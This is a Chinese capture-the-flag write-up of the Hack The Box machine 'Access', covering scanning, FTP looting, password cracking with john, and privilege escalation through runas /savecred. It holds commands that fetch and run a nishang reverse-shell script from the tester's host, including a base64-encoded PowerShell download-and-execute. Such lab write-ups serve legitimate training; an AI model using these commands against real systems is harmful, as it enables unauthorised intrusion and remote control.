【HTB系列】靶机Access的渗透测试详解
出品|MS08067实验室(www.ms08067.com)
本文作者:大方子(Ms08067实验室核心成员)
Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台。它能帮助你提升渗透测试技能和黑盒测试技能,它包含了一些不断更新的挑战,其中有模拟真实世界场景,也有倾向于CTF风格的挑战。

平台上有很多靶机,从易到难,黑客每入侵一台机器都会获得相应积分,通过积分排名设有名人堂。今天要实验的是靶机Access。

一.获取普通用户权限
首先我们用nmap探测下靶机的信息。
nmap -sC -sV -T5 10.10.10.98

可以看到靶机开放了21,23,80端口。telnet后面有一个?说明nmap也不确定是否为telnet。这里我用msf来探测下FTP是否允许 匿名登陆,使用msf的/auxiliary/scanner/ftp/anonymous模块。

FTP是运行匿名登陆的,那我们进行远程登陆FTP看看有什么东西。

这里我用wget递归下载FTP文件。
wget -m ftp://anonymous:anonymous@10.10.10.98

发现报错 无法启动PASV传输,那我们加个 --no-passive 使用FTP的被动模式。
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98


下载成功!同样我们试下Telnet是否能匿名登陆。

不存在匿名登陆,但是我也确定了23这个端口的是telnet,接下来在访问下80端口。

我们download下这个图片看看这个图片是否存在隐藏的信息。

先用exiftool查看是否存在图片的其他信息。

好像并没有什么额外的信息,再用strings查找下图片的二进制里面是否有字符串
strings out.jpg

也没有发现什么额外的信息,那我们接下来用gobuster进行目录的爆破。
gobuster -u http://10.10.10.98 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

经过了挺久的时间,没爆破出什么有用的信息。我们去看下刚刚从FTP下载来的文件,先解压Engineer目录下的Access Control.Zip文件。

发生了一个错误,还7z来进行解压。
7z x Access\ Control.zip

发现ZIP是需要密码的,随便输入个密码报错,我们用7z 的l命令下的slt命令。
7z l -slt Access\ Control.zip
参数说明:
l:用于显示压缩文件的信息
Slt:属于l下的子命令用来显示压缩文件的技术信息

压缩文件使用AES-256 Deflate进行加密的,我们把密码的HASH提取出来到时候破解用。
zip2john Access\ Control.zip > Access\ Control.hash

我们在看下另一个文件。

是一个access的数据库文件,里面应该会出现用于解压压缩文件的密码。你可以用工具打开查看里面的数据一个一个找找到需要的密码。

还有一个更快捷的方法,因为密码最低就是8位的,我们用过strings方法把mdb用二进制文件的形式打开,然后只输出内容大于等于8的内容,在把这些内容输出成一个wordlist用来破解压缩文件。
strings -n 8 backup.mdb | sort -u > ../Engineer/wordlist
strings输出的内容通过sort的-u参数去重,然后在输出到文件里面。

然后我们利用john开始破解

破解成功,这里可能不好找到密码可以用这条命令显示破解出的密码。
john Access\ Control.hash --show

密码: access4u@security
那接下来我们去解压压缩文件。

解压成功!!!

我们用file看下这个.pst是什么文件

是一个outlook的个人文件夹。我们用readpst来读取下,然后目录下面会多出一个Access Control.mbox文件。

我们用
less Access Control.mbox

可以看到security的密码:4Cc3ssC0ntr0ller。我们用获得凭证去登陆telnet。
Security:4Cc3ssC0ntr0ller

登陆成功!然后CD到桌面查看user.txt即可得到user的flag。

二.获取管理员权限
接下来就是怎么得到管理员权限,测试下powershell是否能正常工作。

powershell正常的,那我们本地搭建一个简易的HTTP服务器放上我们的powershell反弹shell脚本,让靶机进行远程下载执行反弹一个shell。
这里用nishang 这是一个基于Powershell的攻击框架,项目地址: https://github.com/samratashok/nishang。
我们新建一个 www目录 然后把nishang里面需要用的脚本copy进去。
cp ~/HTB/Access/nishang/Shells/Invoke-PowerShellTcp.ps1 ~/HTB/Access/www/nishang.ps1

然后vi下编辑这个nishang.ps1,在最底下加上这行命令

Invoke-PowerShellTcp -Reverse -IPAddress 你的IP地址 -Port 监听端口
然后我们用nc 监听9001

接着用python开启HTTP服务器

然后在目标靶机telnet上执行这段代码,就是远程执行powershell脚本。
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.13.147:8000/nishang.ps1')"

之后就会反弹一个shell

接下来我们在上传一个脚本用来检测Windows系统以提升权限。JAWS:https://github.com/411Hall/JAWS

我们在刚刚反弹的shell中去执行这个脚本,来检测目标系统的信息。
IEX(New-Object Net.WebClient).downloadString('http:// 10.10.13.147:8000/jaws-enum.ps1')

执行完成后会返回一系列信息,然后在这里查找有关信息,这里我只截取凭证部分。

上面是电脑中存储的凭证。当然你也可以用cmdkey /list 也会出现相关信息。

在查找的过程中我在公共用户的目录里面找到一个快捷连接。

百度下具体信息。

用type查看下内容,发现一些关键信息

Runas并且带有/savecred ,Runas的介绍:https://blog.csdn.net/nzjdsds/article/details/88312910。
这个就可以成为我们的利用点,但是用type获得信息杂乱无章,我们需用另一种方法来获得更为详细的整洁的输出。这里我们用script脚本的创建快捷方式实现。
- $WScript = New-Object -ComObject Wscript.Shell
- $shortcut = Get-ChildItem *.lnk
- $Wscript.CreateShortcut($shortcut)


这里WScript用来绑定Wscript.Shell的,然后Get-ChildItem *.lnk 就是跟dir差不多找出后缀为.lnk文件(效果图如下)。

然后我们调用Wscript的CreateShortcut函数创建快捷方式来查看里面的lnk里面的详细信息。
这里我要说一下就是这里创建的快捷方式是存在内存里面的,在调用这个函数的SAVE函数之前,这个快捷方式是存在内存里面的,我们只是需要这个ZKAccess3.5Security System.lnk里面的详细工整的信息只是通过这个方式查看而已。

在这里面我们可以很清楚的看到runas 并且带有savecred 参数。所以这边我们runas的话可以不需要用户的凭证。

但是runas之后没有任何报错,但是命令也没有执行成功,应该是编码的问题。接下来我们主要就是在这个shell中在runas反弹一个管理员权限的shell。
我们先在自己的Kali中监听9002,然后把我们之前用于反弹的nishang.ps1重新复制一份为nishang2.ps1并编辑下把nishang2.ps1把监听的端口改为9002
【这里由于靶机不是一天之内完成并写好文章的,所以自己的IP地址后来变成10.10.12.114】
runas /user:ACCESS\Administrator /savecred "powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')""



这里我换了一种格式写,发现我的python HTTP服务器出现了响应,但是9002并没有返回shell。
在这里猜测可能是编码的问题,windows和linux采用的编码不一样,所以我们的命令需要转换成windows能够识别的编码,这里我们用iconv和base64。这里转码要用UTF-16LE。
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
输出内容:
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA=
然后我们执行下:
runas /user:ACCESS\Administrator /savecred "Powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA="

然后发现9002端口得到shell说明执行成功



到root的flag。
转载请联系作者并注明出处!
Ms08067安全实验室专注于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。
团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。
官方网站:https://www.ms08067.com/
扫描下方二维码加入实验室VIP社区
加入后邀请加入内部VIP群,内部微信群永久有效!


【HTB系列】靶机Access的渗透测试详解的更多相关文章
- 【HTB系列】靶机Frolic的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...
- 【HTB系列】靶机Chaos的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) 知识点: 通过域名或者IP可能会得到网站的不同响应 Wpscan的扫描wordpress ...
- 【HTB系列】靶机Vault的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Kali: 10.10.14.213 靶机地址:10.10.10.109 先用nmap探 ...
- 【HTB系列】靶机Teacher的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Kali: 10.10.14.50 靶机地址:10.10.10.153 先用nmap 对 ...
- 【HTB系列】 靶机Swagshop的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:是大方子(Ms08067实验室核心成员) 总结与反思 使用vi提权 magento漏洞的利用 magescan 工具的使用 靶机 ...
- Spring框架系列(12) - Spring AOP实现原理详解之JDK代理实现
上文我们学习了SpringAOP Cglib动态代理的实现,本文主要是SpringAOP JDK动态代理的案例和实现部分.@pdai Spring框架系列(12) - Spring AOP实现原理详解 ...
- SpringBoot系列(六)集成thymeleaf详解版
SpringBoot系列(六)集成thymeleaf详解版 1. thymeleaf简介 1. Thymeleaf是适用于Web和独立环境的现代服务器端Java模板引擎. 2. Thymeleaf ...
- Spring框架系列(8) - Spring IOC实现原理详解之Bean实例化(生命周期,循环依赖等)
上文,我们看了IOC设计要点和设计结构:以及Spring如何实现将资源配置(以xml配置为例)通过加载,解析,生成BeanDefination并注册到IoC容器中的:容器中存放的是Bean的定义即Be ...
- Spring框架系列(10) - Spring AOP实现原理详解之AOP代理的创建
上文我们介绍了Spring AOP原理解析的切面实现过程(将切面类的所有切面方法根据使用的注解生成对应Advice,并将Advice连同切入点匹配器和切面类等信息一并封装到Advisor).本文在此基 ...
随机推荐
- 图的深度优先遍历算法(DFS)
搜索算法有很多种,本次文章主要分享图(无向图)的深度优先算法.深度优先算法(DFS)主要是应用于搜索中,早期是在爬虫中使用.其主要的思想有如下: 1.先访问一个节点v,然后标记为已被访问过2.找到第一 ...
- sqoop使用以及常见问题
1.hdfs文件的权限问题 问题分析与解决: 根据报错信息是hdfs文件的权限问题,命令进入集群执行的用户为null,而hdfs文件所有者为hdfs. 要么以用户hdfs执行命令,要么调整hdfs文件 ...
- 带撤销并查集 & 可持久化并查集
带撤销并查集支持从某个元素从原来的集合中撤出来,然后加入到一个另外一个集合中,或者删除该元素 用一个映射来表示元素和并查集中序号的关系,代码中用\(to[x]\) 表示x号元素在并查集中的 id 删除 ...
- Alternating Strings Gym - 100712D 简单dp && Alternating Strings II Gym - 100712L 数据结构优化dp
比赛链接:https://vjudge.net/contest/405905#problem/D 题意: 给你一个长度为n的由0或1构成的串s,你需要切割这个串,要求切割之后的每一个子串长度要小于等于 ...
- 【noi 2.6_666】放苹果 & 【noi 2.6_8467】鸣人的影分身(DP)
这题其实在2.6前面的专题也有出现过,我还以为我有写,结果发现,并没有.于是就现在写了.这2题其实重复了......我就按放苹果的来说. 题意:把N个苹果放在M个盘子里,允许有的盘子空着不放,问共有多 ...
- ZeptoLab Code Rush 2015 B. Om Nom and Dark Park
Om Nom is the main character of a game "Cut the Rope". He is a bright little monster who l ...
- Codeforces Round #494 (Div. 3) D. Coins and Queries (贪心,数学)
题意:给你一组全是\(2^d\ (d\ge0)\)的数,询问q次,每次询问一个数,问这个数是否能够由原数组中的数相加得到,如果能,输出最少用多少个数,否则输出\(-1\). 题解:首先贪心得出结论:如 ...
- 【转】K8S中部署Helm
K8S中的包管理工具 1. 客户端Helm(即Helm) 通过脚本安装:curl https://raw.githubusercontent.com/helm/helm/master/scripts ...
- 网站日志统计以及SOA架构
网站日志统计相关术语 PV(Page View):页面浏览量或点击量,衡量用户访问的网页数量 UV(Unique Visitor):独立设备的访问次数,根据客户端发送的 Cookie 区分 IP(In ...
- Chapter Zero 0.2.3 显示适配器
显示适配器(Video Graphics Array,VGA) 不看后悔!!深入了解显卡!!!走你! 我们常常会调试显示器的分辨率,一般对于图像的显示重点在于分辨率与颜色深度, 每个图像显示的颜色会占 ...